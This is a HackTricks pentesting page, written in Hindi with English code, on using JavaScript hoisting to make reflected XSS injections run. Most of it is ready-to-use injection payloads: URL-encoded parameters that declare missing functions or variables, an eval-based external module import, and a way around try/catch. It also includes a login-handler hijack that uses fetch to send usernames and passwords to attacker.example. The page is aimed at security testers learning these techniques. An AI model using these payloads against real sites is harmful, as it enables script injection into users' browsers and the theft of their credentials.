JS Hoisting

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

JavaScript भाषा में, एक तंत्र जिसे Hoisting कहा जाता है, वह है जहाँ variables, functions, classes, या imports की declarations सैद्धान्तिक रूप से उनके scope के शीर्ष पर उठाई जाती हैं इससे पहले कि कोड execute हो। यह प्रक्रिया स्वतः JavaScript engine द्वारा की जाती है, जो script को कई पासों में पारित करता है।

पहले पास के दौरान, engine कोड को parse करता है syntax errors की जाँच करने के लिए और इसे एक abstract syntax tree में बदल देता है। इस चरण में hoisting शामिल है, एक प्रक्रिया जहाँ कुछ declarations को execution context के शीर्ष पर ले जाया जाता है। यदि parsing चरण सफल रहता है, यानी कोई syntax error नहीं होता, तो script का execution आगे बढ़ता है।

यह समझना महत्वपूर्ण है कि:

  1. Script में execution होने के लिए syntax errors नहीं होने चाहिए। Syntax नियमों का सख्ती से पालन होना चाहिए।
  2. Script में कोड की स्थिति hoisting के कारण execution को प्रभावित करती है, हालांकि execute होने वाला कोड उसके textual representation से भिन्न हो सकता है।

Hoisting के प्रकार

MDN की जानकारी के अनुसार, JavaScript में hoisting के चार अलग प्रकार होते हैं:

  1. Value Hoisting: यह किसी variable के value को उसके scope के भीतर declaration line से पहले उपयोग करने की अनुमति देता है।
  2. Declaration Hoisting: यह declaration से पहले scope में किसी variable का reference करने की अनुमति देता है बिना ReferenceError के, पर variable का value undefined होगा।
  3. यह प्रकार scope के भीतर व्यवहार बदल देता है क्योंकि variable की declaration उसके वास्तविक declaration लाइन से पहले होती है।
  4. Declaration के side effects उस कोड के बाकी हिस्से के evaluate होने से पहले होते हैं।

विस्तार में, function declarations type 1 hoisting व्यवहार दिखाते हैं। var keyword type 2 व्यवहार दिखाता है। Lexical declarations, जिनमें let, const, और class शामिल हैं, type 3 व्यवहार दिखाते हैं। अंततः, import statements अनोखे हैं क्योंकि वे type 1 और type 4 दोनों व्यवहारों के साथ hoist होते हैं।

परिदृश्य

इसलिए यदि ऐसे परिदृश्य हैं जहाँ आप Inject JS code after an undeclared object कर सकते हैं, तो आप इसे declare करके fix the syntax कर सकते हैं (ताकि आपका कोड error फेंकने के बजाय execute हो):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

अन्य परिदृश्य

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting to bypass exception handling

जब sink try { x.y(...) } catch { ... } में रैप किया गया हो, तो ReferenceError आपके payload के चलने से पहले execution रोक देगा। आप गायब identifier को पहले से declare कर सकते हैं ताकि कॉल जीवित रहे और आपका injected expression सबसे पहले execute हो:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} मूल्यांकन से पहले hoist किया जाता है, इसलिए parser अब x.y(...) पर throw नहीं करता; prompt() तब execute होता है जब तक y resolve नहीं हुआ होता, और फिर आपका कोड चलने के बाद TypeError throw किया जाता है।

बाद की घोषणाओं को रोकें — नाम को const से लॉक करके

यदि आप top-level function foo(){...} के parse होने से पहले execute कर सकते हैं, तो उसी नाम के साथ एक lexical binding घोषित करना (उदाहरण के लिए, const foo = ...) बाद की function declaration को उस identifier को पुनः बाइंड करने से रोक देगा। इसे RXSS में पेज में बाद में परिभाषित महत्वपूर्ण handlers को hijack करने के लिए दुरुपयोग किया जा सकता है:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

नोट्स

  • यह निष्पादन क्रम और global (top-level) scope पर निर्भर करता है।
  • यदि आपका payload eval() के अंदर निष्पादित होता है, तो ध्यान रखें कि eval के अंदर const/let ब्लॉक-स्कोप्ड होते हैं और वे global bindings उत्पन्न नहीं करते। एक नया <script> element inject करके ऐसा code डालें जो एक वास्तविक global const स्थापित करे।

Dynamic import() with user-controlled specifiers

Server-side rendered apps कभी-कभी user input को import() में आगे भेजते हैं ताकि components lazy-load हो सकें। यदि किसी loader जैसे import-in-the-middle मौजूद है, तो specifier से wrapper modules जनरेट होते हैं। Hoisted import evaluation attacker-controlled module को subsequent lines के चलने से पहले fetch और execute कर देता है, जिससे SSR contexts में RCE संभव हो जाता है (देखें CVE-2023-38704)।

Tooling

आधुनिक scanners ने explicit hoisting payloads जोड़ना शुरू कर दिया है। KNOXSS v3.6.5 में “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” और “Hoisting Override” test cases सूचीबद्ध हैं; इन्हें उन RXSS contexts पर चलाने से जो ReferenceError/TypeError फेंकते हैं, hoist-based gadget candidates जल्दी ही सामने आ जाते हैं।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें